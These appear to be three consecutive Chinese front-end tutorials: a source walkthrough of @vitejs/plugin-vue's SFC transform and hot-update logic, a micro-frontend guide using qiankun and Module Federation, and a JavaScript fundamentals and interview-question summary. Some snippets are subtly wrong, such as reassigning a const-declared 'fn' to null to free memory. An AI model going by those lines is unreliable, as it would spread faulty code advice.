transformMain 是 @vitejs/plugin-vue 中处理 .vue 文件主请求的核心编译函数。它负责将整个单文件组件(SFC)转换为可在浏览器或服务端运行的 JavaScript 模块。

  1. 解析与校验:创建 SFC 描述符,检查编译错误。
  2. 分块编译:分别生成脚本、模板、样式、自定义块的代码。
  3. 组装导出:合并各部分代码,生成最终组件对象。
  4. HMR 与 SSR 增强:注入热更新逻辑或服务端模块注册。
  5. Source Map 合并:如果存在模板,将模板的 source map 偏移后合并到脚本 map。
  6. TypeScript 转译:对最终代码进行 TS 转译(优先使用 Oxc,降级为 esbuild)。
创建描述符信息 compiler.parse

createDescriptor

image.png

getDescriptor 获取描述符。有缓存则从缓存取,否则创建。

image.png

image.png

描述符id生成策略

描述符id生成策略(依据 features?.componentIdGenerator 配置)

  • filepath 文件路径
  • filepath-source 文件路径 +源码
  • function 自定义实现
  • 默认策略(生产环境:文件路径+源码;非生产环境:文件路径)

image.png

import crypto from 'node:crypto'

function getHash(text: string): string {
  // 计算哈希值,采用 sha256 哈希算法对输入文本进行计算
  // 将哈希结果转换为十六进制 (hex) 格式
  // 取前8位,用于组件ID的唯一性
  return crypto.hash('sha256', text, 'hex').substring(0, 8)
}
生成脚本代码

genScriptCode 通过 resolveScript(@vue/compiler-dom ) 获取脚本,然后根据 <script> 块的存在性、内容来源(内联或外部)以及 Vue 编译器版本,产出最终用于构建组件对象的脚本部分。

参数信息

image.png

脚本代码 resolve

image.png

image.png

resolved.content

image.png

image.png

resolevd.map

image.png

生成 template 代码

针对 内联模板(无预处理器且无外部 src)

genTemplateCode 调用 transformTemplateInMain 函数,该函数会:

  1. 使用 @vue/compiler-dom 将模板内容编译为 render 函数。
  2. 处理 scoped 样式、指令转换等。
  3. 返回包含 render 函数声明的代码(例如 const _sfc_render = () => {...})。
  4. 直接内联到主模块中,避免额外的网络请求,提升开发环境性能。

image.png

transformTemplateInMain(template.content, descriptor, options, pluginContext, ssr, customElement)

image.png

result.code

image.png

result.ast

image.png

// 重命名模板编译后的渲染函数
// $1 引用第一个捕获组,即 function 或 const
// $2 引用第二个捕获组,即 render 或 ssrRender
result.code.replace(
      /\nexport (function|const) (render|ssrRender)/,
      '\n$1 _sfc_$2',
    )

image.png

image.png

生成style 代码

genStyleCode 是 @vitejs/plugin-vue 中专门处理 Vue 单文件组件(SFC)样式块的核心函数。它的主要职责是:为每个 <style> 块生成相应的导入语句,并处理 CSS Modules 和自定义元素模式下的样式收集

生成 自定义块 代码

genCustomBlockCode 用于生成 Vue 单文件组件 (SFC) 中自定义块的处理代码,它会为每个自定义块生成导入语句和执行代码,确保自定义块能够被正确处理和集成到组件中。

添加热更新相关代码

image.png

image.png

import.meta.hot.on("file-changed", ({ file }) => {
__VUE_HMR_RUNTIME__.CHANGED_FILE = file;
});

Vue HMR(热模块替换)运行时的一部分,用于监听 Vite 开发服务器的 file-changed 事件,并记录被修改的文件路径。

// Vite 提供的 HMR API,用于接受模块自身的更新。当该模块(即 .vue 文件)被修改时,回调函数会收到新的模块内容 mod。
import.meta.hot.accept((mod) => {
if (!mod) return;
const { default: updated, _rerender_only } = mod;
if (_rerender_only) {
  __VUE_HMR_RUNTIME__.rerender(updated.__hmrId, updated.render);
} else {
  __VUE_HMR_RUNTIME__.reload(updated.__hmrId, updated);
}
});
  • updated:更新后的组件默认导出(即组件对象)。
  • _rerender_only:Vue 编译器生成的一个标志,用于指示本次变更是否仅影响模板(而不影响 <script> 逻辑)。如果是 true,则只需重新渲染视图;否则需要完全重载组件实例。
  • __VUE_HMR_RUNTIME__ :Vue 在开发环境注入的全局 HMR 运行时对象。
    • rerender:仅更新组件的渲染函数,保留组件实例状态(如 datacomputed 等)。通常用于仅修改 <template> 的场景。
    • reload:完全销毁并重新创建组件实例,会丢失内部状态。用于 <script> 逻辑发生变化时。

core/packages/runtime-core/src/hmr.ts

if (__DEV__) {
  getGlobalThis().__VUE_HMR_RUNTIME__ = {
    createRecord: tryWrap(createRecord),
    rerender: tryWrap(rerender),
    reload: tryWrap(reload),
  } as HMRRuntime
}
收集附加属性 (attachedProps)

添加 attachedProps 的导出代码并转为字符串resolvedCode

image.png

转译 Typescript

根据条件 判断利用 transformWithOxctransformWithEsbuild 来转译 Tyscript 代码。

优先尝试使用 Oxc(一个高性能的 JavaScript/TypeScript 编译器)进行转译,如果不可用,则回退到使用 esbuild

image.png

子块请求(query.vue 为 true

首先获取缓存的 SFC 描述符(descriptor)。

根据 query.type 进一步分流:

  1. type === 'template' :调用 transformTemplateAsModule,将 <template> 块编译为独立的 render 函数模块。
  2. type === 'style' :调用 transformStyle,将 CSS 内容交给 Vite 的 CSS 处理管道(例如注入到页面或提取为独立文件)。

处理 template

async function transformTemplateAsModule(
  code: string, 
  filename: string,
  descriptor: SFCDescriptor,
  options: ResolvedOptions,
  pluginContext: Rollup.TransformPluginContext,
  ssr: boolean,
  customElement: boolean,
): Promise<{
  code: string
  map: any
}> {
  // 调用 compile 函数编译模板代码
  // 返回包含编译后代码和 source map 的结果
  const result = compile(
    code,
    filename,
    descriptor,
    options,
    pluginContext,
    ssr,
    customElement,
  )

  let returnCode = result.code

  // 处理热更新
  if (
    options.devServer && //开发服务器
    options.devServer.config.server.hmr !== false && // 开启热更新
    !ssr && // 不是服务器端渲染
    !options.isProduction // 不是生产环境
  ) {
      // 重新渲染组件
      // 传递组件 ID 和新的渲染函数
    returnCode += `\nimport.meta.hot.accept(({ render }) => {
      __VUE_HMR_RUNTIME__.rerender(${JSON.stringify(descriptor.id)}, render)
    })`
  }

  return {
    code: returnCode,
    map: result.map,
  }
}

处理style

async function transformStyle(
  code: string,
  descriptor: ExtendedSFCDescriptor,
  index: number,
  options: ResolvedOptions,
  pluginContext: Rollup.TransformPluginContext,
  filename: string,
) {
  const block = descriptor.styles[index]
  // vite already handles pre-processors and CSS module so this is only
  // applying SFC-specific transforms like scoped mode and CSS vars rewrite (v-bind(var))
  const result = await options.compiler.compileStyleAsync({
    ...options.style,
    filename: descriptor.filename, // 样式文件路径
    id: `data-v-${descriptor.id}`,// 组件 ID(用于 scoped 样式)
    isProd: options.isProduction,
    source: code, // 原始样式代码
    scoped: block.scoped, // 是否为 scoped 样式
    ...(options.cssDevSourcemap
      ? {
          postcssOptions: {
            map: {
              from: filename, // 设置源文件路径
              inline: false, // 不内联 Source Map,Source Map 会作为单独的文件生成
              annotation: false, // 不在 CSS 文件中添加 Source Map 注释
            },
          },
        }
      : {}),
  })

  if (result.errors.length) {
    result.errors.forEach((error: any) => {
      if (error.line && error.column) {
        error.loc = {
          file: descriptor.filename,
          line: error.line + block.loc.start.line,
          column: error.column,
        }
      }
      pluginContext.error(error)
    })
    return null
  }

  const map = result.map
    ? await formatPostcssSourceMap(
        // version property of result.map is declared as string
        // but actually it is a number
        result.map as Omit<
          RawSourceMap,
          'version'
        > as Rollup.ExistingRawSourceMap,
        filename,
      )
    : ({ mappings: '' } as any)

  return {
    code: result.code,
    map: map,
    meta:
    // 当样式为 scoped 且描述符不是临时的时,添加 cssScopeTo 元数据
    // 用于 Vite 处理 CSS 作用域
      block.scoped && !descriptor.isTemp
        ? {
            vite: {
              cssScopeTo: [descriptor.filename, 'default'] as const,
            },
          }
        : undefined,
  }
}

handleHotUpdate 热更新

handleHotUpdate:当文件变化触发 HMR 时调用,自定义热更新行为。

执行过程?

  1. 获取旧描述符:从缓存中读取文件修改前的 SFC 描述符(prevDescriptor)。
  2. 读取最新内容并生成新描述符:通过 read() 获取文件当前内容,再调用 createDescriptor 生成新的 SFC 描述符。
  3. 比对差异:依次比较 scripttemplatestylecustomBlocks 等块是否发生变化。
  4. 收集受影响的模块:根据变化类型,将对应的 Vite 模块(ModuleNode)加入到 affectedModules 集合中。
  5. 返回模块列表:将 affectedModules 返回给 Vite,Vite 会重新转换这些模块,并通过 WebSocket 通知浏览器进行热更新。

vue 文件热更新变化

  1. 脚本变化导致组件完全重载(添加主模块);
  2. 模板变化且脚本未变时仅重新渲染(保留组件状态,添加模板模块);
  3. 样式变化时仅更新对应样式模块(若无独立模块则回退重载主模块);
  4. CSS 变量或 scoped 状态变化以及自定义块变化均会强制重载主模块

vite-plugin-vue-6.0.4/packages/plugin-vue/src/handleHotUpdate.ts

async function handleHotUpdate(
  { file, modules, read }: HmrContext,
  options: ResolvedOptions,
  customElement: boolean,
  typeDepModules?: ModuleNode[],
): Promise<ModuleNode[] | void> {
  
  const prevDescriptor = getDescriptor(file, options, false, true)
  if (!prevDescriptor) {
    // file hasn't been requested yet (e.g. async component)
    return
  }

  // 取文件的最新内容
  const content = await read()
  // 基于最新内容创建新的组件描述符
  const { descriptor } = createDescriptor(file, content, options, true)

  let needRerender = false
  // 将模块分为非 JS 模块和 JS 模块
  const nonJsModules = modules.filter((m) => m.type !== 'js')
  const jsModules = modules.filter((m) => m.type === 'js')

  // 受影响的模块集合
  const affectedModules = new Set<ModuleNode | undefined>(
    nonJsModules, // this plugin does not handle non-js modules
  )
  // 找到组件的主模块
  const mainModule = getMainModule(jsModules)
  // 找到模板相关的模块
  const templateModule = jsModules.find((m) => /type=template/.test(m.url))

  /** 1、检测脚本块的变化并确定受影响的模块 */
  // trigger resolveScript for descriptor so that we'll have the AST ready
  // resolveScript 会触发对 <script> 或 <script setup> 的解析(生成 AST 等),确保新描述符中的脚本信息可用
  resolveScript(descriptor, options, false, customElement)
  const scriptChanged = hasScriptChanged(prevDescriptor, descriptor)
  if (scriptChanged) {
    affectedModules.add(getScriptModule(jsModules) || mainModule)
  }

  /** 2、检测模板块的变化并确定受影响的模块 */
  // 模板变化
  if (!isEqualBlock(descriptor.template, prevDescriptor.template)) {
    // when a <script setup> component's template changes, it will need correct
    // binding metadata. However, when reloading the template alone the binding
    // metadata will not be available since the script part isn't loaded.
    // in this case, reuse the compiled script from previous descriptor.
    // 如果脚本没有改变,直接使用之前的编译后的脚本
    if (!scriptChanged) {
      setResolvedScript(
        descriptor,
        getResolvedScript(prevDescriptor, false)!,
        false,
      )
    }
    affectedModules.add(templateModule)
    needRerender = true // 标记需要重渲染
  }

  /** 3、检查 CSS 变量注入的变化并确定受影响的模块 */
  let didUpdateStyle = false
  const prevStyles = prevDescriptor.styles || []
  const nextStyles = descriptor.styles || []

  // force reload if CSS vars injection changed
  // 如果 CSS 变量注入发生变化,强制重新加载
  if (prevDescriptor.cssVars.join('') !== descriptor.cssVars.join('')) {
    affectedModules.add(mainModule)
  }

  /** 4、检查 scoped 状态的变化并确定受影响的模块 */
  // force reload if scoped status has changed
  // 如果 scoped 状态变化,强制重新加载
  if (prevStyles.some((s) => s.scoped) !== nextStyles.some((s) => s.scoped)) {
    // template needs to be invalidated as well
    affectedModules.add(templateModule)
    affectedModules.add(mainModule)
  }

  /** 5、检测样式块的变化并确定受影响的模块 */
  // only need to update styles if not reloading, since reload forces
  // style updates as well.
  for (let i = 0; i < nextStyles.length; i++) {
    const prev = prevStyles[i]
    const next = nextStyles[i]

    // 如果旧样式块不存在(新添加的样式块)
    // 或者旧样式块与新样式块不相等(样式内容发生变化
    if (!prev || !isEqualBlock(prev, next)) {
      didUpdateStyle = true // 标记样式发生变化
      const mod = jsModules.find(
        (m) =>
          m.url.includes(`type=style&index=${i}`) &&
          m.url.endsWith(`.${next.lang || 'css'}`),
      )
      if (mod) {
        affectedModules.add(mod)

        // 如果样式内联,添加主模块到受影响模块集合
        if (mod.url.includes('&inline')) {
          affectedModules.add(mainModule)
        }
      } else {
        // 如果没有找到对应的模块(新添加的样式块)
        // new style block - force reload
        affectedModules.add(mainModule)
      }
    }
  }
  if (prevStyles.length > nextStyles.length) {
    // 如果旧样式块数量大于新样式块数量(说明有样式块被移)
    // 强制重新加载
    // style block removed - force reload
    affectedModules.add(mainModule)
  }

  /**  6、检测自定义块的变化并确定受影响的模块 */
  const prevCustoms = prevDescriptor.customBlocks || []
  const nextCustoms = descriptor.customBlocks || []

  // custom blocks update causes a reload
  // because the custom block contents is changed and it may be used in JS.
  // 如果数量变化,强制重新加载
  if (prevCustoms.length !== nextCustoms.length) {
    // block removed/added, force reload
    affectedModules.add(mainModule)
  } else {
    for (let i = 0; i < nextCustoms.length; i++) {
      const prev = prevCustoms[i]
      const next = nextCustoms[i]

      // 
      if (!prev || !isEqualBlock(prev, next)) {
        const mod = jsModules.find((m) =>
          m.url.includes(`type=${prev.type}&index=${i}`),
        )
        if (mod) {
          affectedModules.add(mod)
        } else {
          affectedModules.add(mainModule)
        }
      }
    }
  }

  const updateType = []
  // 需要重渲染
  if (needRerender) {
    // 记录更新类型。将 'template' 添加到 updateType 数组中
    updateType.push(`template`)
    // template is inlined into main, add main module instead
    // 无模板情况,说明模板被内联到主模块中
    if (!templateModule) {
      // 添加 mainModule 到受影响模块集合
      affectedModules.add(mainModule)

      // 有模板的情况,且 mainModule 未被添加到受影响模块
    } else if (mainModule && !affectedModules.has(mainModule)) {

      // 找到 mainModule 的所有样式导入模块
      const styleImporters = [...mainModule.importers].filter((m) =>
        isCSSRequest(m.url),
      )
      // 将样式导入模块添加到受影响模块集合
      styleImporters.forEach((m) => affectedModules.add(m))
    }
  }

  // 样式发送变化,将 'style' 添加到 updateType 数组中
  if (didUpdateStyle) {
    updateType.push(`style`)
  }
  if (updateType.length) {
    // 针对vue文件,使描述符缓存失效
    if (file.endsWith('.vue')) {
      // invalidate the descriptor cache so that the next transform will
      // re-analyze the file and pick up the changes.
      invalidateDescriptor(file)
    } else {
      // https://github.com/vuejs/vitepress/issues/3129
      // For non-vue files, e.g. .md files in VitePress, invalidating the
      // descriptor will cause the main `load()` hook to attempt to read and
      // parse a descriptor from a non-vue source file, leading to errors.
      // To fix that we need to provide the descriptor we parsed here in the
      // main cache. This assumes no other plugin is applying pre-transform to
      // the file type - not impossible, but should be extremely unlikely.
      // 将解析的描述符设置到主缓存中
      cache.set(file, descriptor)
    }
    debug(`[vue:update(${updateType.join('&')})] ${file}`)
  }
  return [...affectedModules, ...(typeDepModules || [])].filter(
    Boolean,
  ) as ModuleNode[]
}

屎山代码拆不动?微前端来救场:一个应用变“乐高城堡”

前言

想象你有一座巨大的乐高城堡,一开始几个人拼得很开心。后来城堡越拼越大,几百人同时在上面加砖,有人碰倒了塔楼,有人改错了城墙,整个城堡摇摇欲坠。你想拆成几个独立的小城堡,又怕它们之间连不起来。

这就是巨石前端的困境。微前端就是解决方案:把大应用拆成多个小应用(子应用),每个小应用独立开发、独立部署,最后在浏览器里组合成一个完整页面。就像乐高套装里的每个小模块,可以单独拼好,再插到一起。

一、什么时候需要微前端?

  • 项目太大,编译部署一次要10分钟。
  • 团队太多,几十人改同一个仓库,Git冲突到崩溃。
  • 想渐进式升级技术栈(比如老项目用AngularJS,新模块用React)。
  • 不同团队负责不同业务板块,希望独立发布互不干扰。

如果你的项目只有三五个人,别用微前端——杀鸡不用牛刀。

二、微前端三大核心问题

微前端要解决三个问题:

  1. 怎么加载子应用?(路由分发)
  2. 怎么隔离子应用?(JS沙箱、样式隔离)
  3. 怎么通信?(全局状态、事件总线)

三、常见实现方式

1. 路由分发式(Nginx反向代理)

不同路径对应不同子应用,比如/app1 → 应用1,/app2 → 应用2。父页面通过iframe或服务端路由组合。

  • 简单,但切换应用会刷新页面。
  • 不适合需要无缝组合的场景。

2. iframe:最土的“隔离神器”

iframe天然隔离JS和CSS,但缺点明显:通信麻烦、SEO差、弹窗无法覆盖、全局状态不共享。

3. single-spa:微前端的“老大哥”

一个框架,帮你管理子应用的加载、挂载、卸载。你需要自己写如何加载子应用(比如动态script加载),以及子应用暴露的生命周期(bootstrap、mount、unmount)。

  • 灵活,但需要较多配置。
  • 适合自己造轮子。

4. qiankun:蚂蚁开箱即用的方案

基于single-spa,内置了JS沙箱、样式隔离、HTML Entry(自动加载子应用的HTML、JS、CSS)。你只需要改几行代码,就能把一个普通应用变成微前端子应用。

  • 推荐大部分项目用qiankun。
  • 支持Vue、React、Angular等。

5. Webpack 5 Module Federation:去中心化的“共享冰箱”

不需要主应用,任意两个应用可以互相暴露和使用模块。运行时动态加载对方代码,像从冰箱里拿菜一样。

  • 非常适合多个独立部署的微前端应用。
  • 需要Webpack 5支持。

四、qiankun 实战:三步把React应用变成子应用

假设你有一个主应用(基座),一个子应用(React)。

主应用(基座)注册子应用

import { registerMicroApps, start } from 'qiankun';

registerMicroApps([
  {
    name: 'reactApp',
    entry: '//localhost:3001', // 子应用启动的地址
    container: '#subapp-container',
    activeRule: '/react',
  },
]);
start();

子应用(React)改造

src/index.js里暴露生命周期:

function render(props) {
  ReactDOM.render(<App />, document.getElementById('root'));
}

if (!window.__POWERED_BY_QIANKUN__) {
  render(); // 独立运行时直接渲染
}

export async function bootstrap() {}
export async function mount(props) {
  render(props);
}
export async function unmount() {
  ReactDOM.unmountComponentAtNode(document.getElementById('root'));
}

再改webpack配置,让打包成umd格式:

output: {
  library: `${name}-[name]`,
  libraryTarget: 'umd',
  globalObject: 'window',
}

搞定!子应用独立运行时正常访问,被qiankun加载时也能完美嵌入。

五、JS沙箱:防止子应用污染全局

qiankun提供了两种沙箱:

  • SnapshotSandbox:记录恢复window属性变化(兼容IE)。
  • ProxySandbox:用ES6 Proxy代理对window的读写,每个子应用有自己的fakeWindow。

这样子应用里修改windowdocument都不会影响全局。

六、样式隔离:你的样式别弄脏我的衣服

qiankun默认使用shadowDOM(需要子应用支持),也可以通过配置strictStyleIsolation开启。或者简单约定:子应用所有样式加namespace

七、应用间通信:传递“小纸条”

  • 通过props传递:主应用mount子应用时,可以传入通信函数。
  • 全局状态管理:用qiankuninitGlobalState
  • 自定义事件window.dispatchEvent(但注意沙箱可能隔离window)。

八、常见坑点与建议

  1. 重复依赖:多个子应用都打包了React,体积大。解决方案:用externals或Module Federation共享。
  2. 子应用间路由跳转:用history.pushState前判断是否在微前端环境,调用主应用的路由实例。
  3. 公共样式:主应用提供全局样式,子应用只写局部样式。
  4. 性能:预加载子应用,或使用loadable组件按需加载。

九、Module Federation:不用主应用的“分布式”微前端

如果你的项目没有明确的主应用,每个应用都可以暴露模块给其他应用,用Webpack 5的ModuleFederationPlugin

// 应用A暴露组件
new ModuleFederationPlugin({
  name: 'appA',
  filename: 'remoteEntry.js',
  exposes: {
    './Button': './src/Button',
  },
});

// 应用B消费
new ModuleFederationPlugin({
  name: 'appB',
  remotes: {
    appA: 'appA@http://localhost:3001/remoteEntry.js',
  },
});
// 在B里异步加载:import('appA/Button')

这样两个应用独立部署,运行时动态加载对方组件,超级灵活。

十、总结:微前端不是银弹,但能救急

  • 微前端适合超大项目、多团队、技术栈升级
  • 简单场景用qiankun,复杂场景用Module Federation
  • 注意JS沙箱、样式隔离、通信成本。
  • 如果项目只有几十个页面,别折腾,用组件化就够了。

微前端就像乐高积木:拆开是独立小玩具,拼起来是宏伟城堡。用得好,团队效率翻倍;用不好,调试到你怀疑人生。


如果你觉得今天的“乐高城堡”够形象,点个赞让更多人看到。明天我们将聊聊前端设计模式——单例、观察者、工厂、策略,那些让你代码更优雅的套路。我们明天见!

前端 JavaScript 核心知识点 + 高频踩坑 + 大厂面试题全汇总(开发 / 面试必备)

本文汇总了前端开发中99% 会遇到的 JS 核心知识点、高频踩坑、大厂面试题,每一个知识点都搭配代码示例,踩坑点附落地解决方案,面试题附详细解析,适合前端新手查漏补缺、老手复习巩固,可直接用于开发实战和面试准备~


一、JavaScript 核心基础知识点(必掌握)

1.1 数据类型(原始类型 + 引用类型)

JS 数据类型分为原始值类型引用数据类型,是前端开发的基石。

  • 原始类型(7 种):UndefinedNullBooleanNumberStringSymbolBigInt(ES11新增)
  • 引用类型:Object(包含ArrayFunctionDateRegExp等)

核心区别

  1. 原始类型存栈内存,值不可变;引用类型存堆内存,栈中存储堆地址
  2. 原始类型赋值是值拷贝,引用类型赋值是地址拷贝
  3. 原始类型比较是值比较,引用类型比较是地址比较

代码示例

// 原始类型:值拷贝,互不影响
let a = 10;
let b = a;
b = 20;
console.log(a); // 10

// 引用类型:地址拷贝,修改会相互影响
let obj1 = { name: "掘金" };
let obj2 = obj1;
obj2.name = "前端开发";
console.log(obj1.name); // 前端开发

// 精准类型判断
Object.prototype.toString.call(null); // [object Null]
Object.prototype.toString.call([]); // [object Array]

为什么要加 BigInt?

Number 局限:只能精确表示 ±2⁵³−1 范围内的整数(约 9e15)。

精度丢失问题

9007199254740992 === 9007199254740993; // true(错误)

// 1. 字面量(加 n)
const a = 123n;
const b = -456n;

// 2. 构造函数
const c = BigInt(789);
const d = BigInt("9007199254740992");

// 3. 类型判断
typeof a; // "bigint"

//与 Number 不兼容 不支持小数、Math 方法、JSON.stringify
123n + 123; // TypeError(不能混合运算)
123n === 123; // false

BigInt 解决:支持任意精度整数,适合金融、区块链、大 ID、密码学。

1.2 变量声明:var /let/const

前端最基础的声明规则,也是面试必考、开发必用知识点。

特性 var let const
变量提升 ✅ 存在 ❌ 暂时性死区 ❌ 暂时性死区
块级作用域 ❌ 无 ✅ 有 ✅ 有
重复声明 ✅ 允许 ❌ 不允许 ❌ 不允许
重新赋值 ✅ 允许 ✅ 允许 ❌ 不允许

代码示例

// var:变量提升 + 全局污染
console.log(num); // undefined
if (true) var num = 10;
console.log(num); // 10

// let:块级作用域隔离
let age = 20;
if (true) {
  let age = 30;
}
console.log(age); // 20

// const:必须初始化,引用类型可改属性
const PI = 3.14;
const user = { name: "张三" };
user.name = "李四"; // 合法

1.3 类型转换(显式 + 隐式)

JS 是弱类型语言,类型转换是开发高频操作。

  • 显式转换:Number()String()Boolean()parseInt()
  • 隐式转换:+-==if判断等自动触发

代码示例

// 显式转换
Number("123"); // 123
String(true); // "true"
Boolean(0); // false

// 隐式转换
1 + "2"; // "12"(数字转字符串)
"12" - 0; // 12(字符串转数字)
if (1) {} // 1转true

1.4 运算符核心(== / === / 短路运算 / 空值合并)

// ==:隐式转换后比较;===:严格比较(类型+值)
0 == ""; // true
0 === ""; // false

// 短路运算:&&(一假则假)、||(一真则真)
const name = null || "默认名称";
const age = 18 && "成年";

// 空值合并??:仅null/undefined时取默认值(开发推荐)
const obj = { age: 0 };
obj.age ?? 18; // 0
obj.height ?? 180; // 180

1.5 函数核心(普通函数 / 箭头函数 /this)

箭头函数 vs 普通函数

  1. 箭头函数没有this,继承父级作用域的this
  2. 没有arguments、不能用作构造函数、没有原型
  3. 简写语法,适合回调函数

代码示例

// 普通函数:this指向调用者
function fn() { console.log(this); }
fn(); // window/global

// 箭头函数:this继承外层
const obj = {
  fn: () => console.log(this)
};
obj.fn(); // window

1.6 数组高频方法(开发必备)

const arr = [1,2,3];
// 遍历:forEach、map、filter、find、some、every
arr.map(item => item * 2); // [2,4,6]
arr.filter(item => item > 1); // [2,3]

// 增删改查:push/pop/unshift/shift/splice
arr.push(4); // [1,2,3,4]
arr.splice(1,1); // 删除索引1的元素 → [1,3,4]

// 高阶:reduce(求和、去重、扁平化)
arr.reduce((sum, cur) => sum + cur, 0); // 8

1.7 闭包(核心概念)

定义:函数嵌套函数,内部函数访问外部函数变量,形成闭包。作用:私有化变量、延长变量生命周期、实现柯里化风险:滥用会导致内存泄漏

代码示例

function outer() {
  let num = 10;
  return function inner() {
    console.log(num); // 访问外部变量 → 闭包
  };
}
const fn = outer();
fn(); // 10

1.8 原型与原型链

JS 继承的核心机制,面试必考。

  1. 所有对象都有__proto__,指向构造函数的prototype
  2. 原型链:对象查找属性 / 方法的路径,终点是null

代码示例

function Person(name) {
  this.name = name;
}
// 原型方法
Person.prototype.sayHi = function() {
  console.log(this.name);
};
const p = new Person("张三");
p.sayHi(); // 张三

// 原型链关系
p.__proto__ === Person.prototype;
Person.prototype.__proto__ === Object.prototype;
Object.prototype.__proto__ === null;

1.9 异步编程(回调 / Promise /async-await)

JS 是单线程语言,异步解决阻塞问题。

// Promise 基础
const p = new Promise((resolve, reject) => {
  setTimeout(() => resolve("成功"), 1000);
});
p.then(res => console.log(res));

// async-await(语法糖,开发首选)
async function getData() {
  const res = await p;
  console.log(res);
}
getData();

1.10 事件循环(宏任务 / 微任务)

JS 执行机制,大厂面试必考题:

  1. 执行栈 → 微任务队列 → 宏任务队列
  2. 微任务:Promise.then/catch/finallyMutationObserver
  3. 宏任务:setTimeoutsetIntervalajaxDOM事件

代码示例

console.log(1);
setTimeout(() => console.log(2), 0); // 宏任务
Promise.resolve().then(() => console.log(3)); // 微任务
console.log(4);
// 执行顺序:1 → 4 → 3 → 2

二、JavaScript 开发高频踩坑汇总(99% 开发者都遇到过)

2.1 隐式类型转换踩坑(== 滥用)

错误场景==自动隐式转换,导致逻辑错误

console.log(0 == ''); // true
console.log('' == false); // true

原因==会先转换类型再比较解决方案开发永远优先用 ===,仅判断null/undefined==

let a;
if (a == null) { // 等价于 a === null || a === undefined
  console.log("变量为空");
}

2.2 forEach 中使用 await 失效

错误场景:forEach 不支持异步,无法按顺序执行

const arr = [1,2,3];
arr.forEach(async item => {
  await new Promise(r => setTimeout(r,1000));
  console.log(item); // 1秒后同时输出1、2、3
});

解决方案:用for...of/ 普通 for 循环

(async () => {
  for(let item of arr) {
    await new Promise(r => setTimeout(r,1000));
    console.log(item); // 每隔1秒输出
  }
})();

2.3 引用类型浅拷贝导致数据篡改

错误场景:对象 / 数组直接赋值,修改新变量污染原数据

let obj1 = { name: "张三" };
let obj2 = obj1;
obj2.name = "李四";
console.log(obj1.name); // 李四

解决方案:浅拷贝.../Object.assign,深拷贝JSON.parse/ 手写深拷贝

// 浅拷贝
let obj2 = {...obj1};
// 深拷贝(无函数/undefined时)
let deepObj = JSON.parse(JSON.stringify(obj1));

2.4 this 指向丢失

错误场景:定时器 / 回调函数中 this 指向改变

const obj = {
  name: "张三",
  sayName() {
    setTimeout(function() {
      console.log(this.name); // undefined
    }, 100);
  }
};

解决方案:箭头函数 / 存 this/bind

// 箭头函数
setTimeout(() => console.log(this.name), 100);

2.5 数组空位导致方法异常

错误场景:数组空位(empty)被 forEach/map 跳过

const arr = [1,,3];
arr.forEach(item => console.log(item)); // 只输出1、3

解决方案:初始化数组时避免空位,用fill填充

const arr = [1, undefined, 3];

2.6 闭包导致内存泄漏

错误场景:闭包变量长期占用内存不释放

function leak() {
  let bigData = new Array(1000000).fill("数据");
  return () => bigData;
}
const fn = leak(); // bigData永远不被回收

解决方案:使用完手动置空

fn = null; // 释放内存

2.7 异步同步混淆执行顺序错误

错误场景:直接获取异步函数返回值

function getData() {
  setTimeout(() => return "数据", 1000);
}
const res = getData();
console.log(res); // undefined

解决方案:用 Promise/async-await 接收

2.8 函数默认参数踩坑

错误场景:默认参数仅在undefined时生效

function fn(a = 10) { console.log(a); }
fn(null); // null
fn(undefined); // 10

三、大厂高频 JavaScript 面试题(附答案 + 解析)

3.1 数据类型相关(必考)

题目 1:JS 有哪些数据类型?Symbol 和 BigInt 的特点?

答案:JS 共8 种原始类型 + 引用类型(Object),其中原始类型包含:

  • 7 种原始类型UndefinedNullBooleanNumberStringSymbol(ES2015)、BigInt(ES2020)
  • 1 种引用类型Object(包含ArrayFunctionDateRegExp等子类型)

Symbol 特点

  • 独一无二,不可重复:Symbol('a') !== Symbol('a')
  • 可作为对象属性名,避免属性冲突
  • 不能参与隐式类型转换,Symbol转字符串需手动调用toString()

BigInt 特点

  • 解决Number精度丢失问题(Number仅能精确表示±2^53-1范围内整数)
  • 定义方式:123n / BigInt('456')
  • 不可与Number混合运算,1n + 2会抛错

题目 2:typeof 和 instanceof 的区别?手写 instanceof 原理

答案

对比项 typeof instanceof
作用 判断原始类型(除 null)和引用类型 判断引用类型的继承关系
返回值 字符串(如'number''object' 布尔值(true/false
特殊点 typeof null === 'object'(历史 bug) 无法判断原始类型(如1 instanceof Number === false

手写 instanceof 原理

/**
 * 手写instanceof
 * @param {*} left 待检测对象 
 * @param {*} right 构造函数 
 * @returns {boolean}
 */
function myInstanceof(left, right) {
  // 原始类型直接返回false
  if (typeof left !== 'object' || left === null) return false;
  // 获取右构造函数的原型对象
  let prototype = right.prototype;
  // 获取左对象的隐式原型
  left = left.__proto__;
  // 遍历原型链
  while (true) {
    // 原型链终点为null
    if (left === null) return false;
    // 原型匹配
    if (left === prototype) return true;
    // 向上遍历原型链
    left = left.__proto__;
  }
}

// 测试
console.log(myInstanceof([], Array)); // true
console.log(myInstanceof({}, Object)); // true
console.log(myInstanceof(123, Number)); // false

3.2 变量声明(var/let/const)

题目:var、let、const 的区别?暂时性死区是什么?

答案:核心差异体现在变量提升、块级作用域、重复声明、重新赋值四个维度:

  1. var:存在变量提升,无块级作用域,可重复声明,可重新赋值
  2. let:无变量提升(存在暂时性死区),有块级作用域,不可重复声明,可重新赋值
  3. const:无变量提升,有块级作用域,不可重复声明,不可重新赋值(引用类型属性可改)

暂时性死区(TDZ) :在代码块内,使用let/const声明变量前,变量处于 “不可访问” 状态,称为暂时性死区。

console.log(a); // 报错:Cannot access 'a' before initialization
let a = 10;

3.3 作用域与作用域链

题目 1:JS 的作用域有哪些?作用域链的作用?

答案:JS 采用词法作用域(静态作用域) ,作用域分为 3 类:

  1. 全局作用域:代码最外层,全局可访问
  2. 函数作用域:函数内部定义,仅函数内可访问
  3. 块级作用域{}包裹(let/const生效),如if/for/switch

作用域链:当访问变量时,会从当前作用域向上查找,直到全局作用域,这条查找链条就是作用域链。作用域链决定了变量的访问权限优先级

题目 2:手写实现块级作用域(用 var 模拟 let)

答案:利用 ** 立即执行函数(IIFE)** 的函数作用域模拟块级作用域:

// 原代码
for (let i = 0; i < 3; i++) {
  setTimeout(() => console.log(i), 100);
} // 输出 0 1 2

// 用var模拟
for (var i = 0; i < 3; i++) {
  (function(j) {
    setTimeout(() => console.log(j), 100);
  })(i);
} // 输出 0 1 2

3.4 闭包(核心难点)

题目 1:什么是闭包?闭包的应用场景?优缺点?

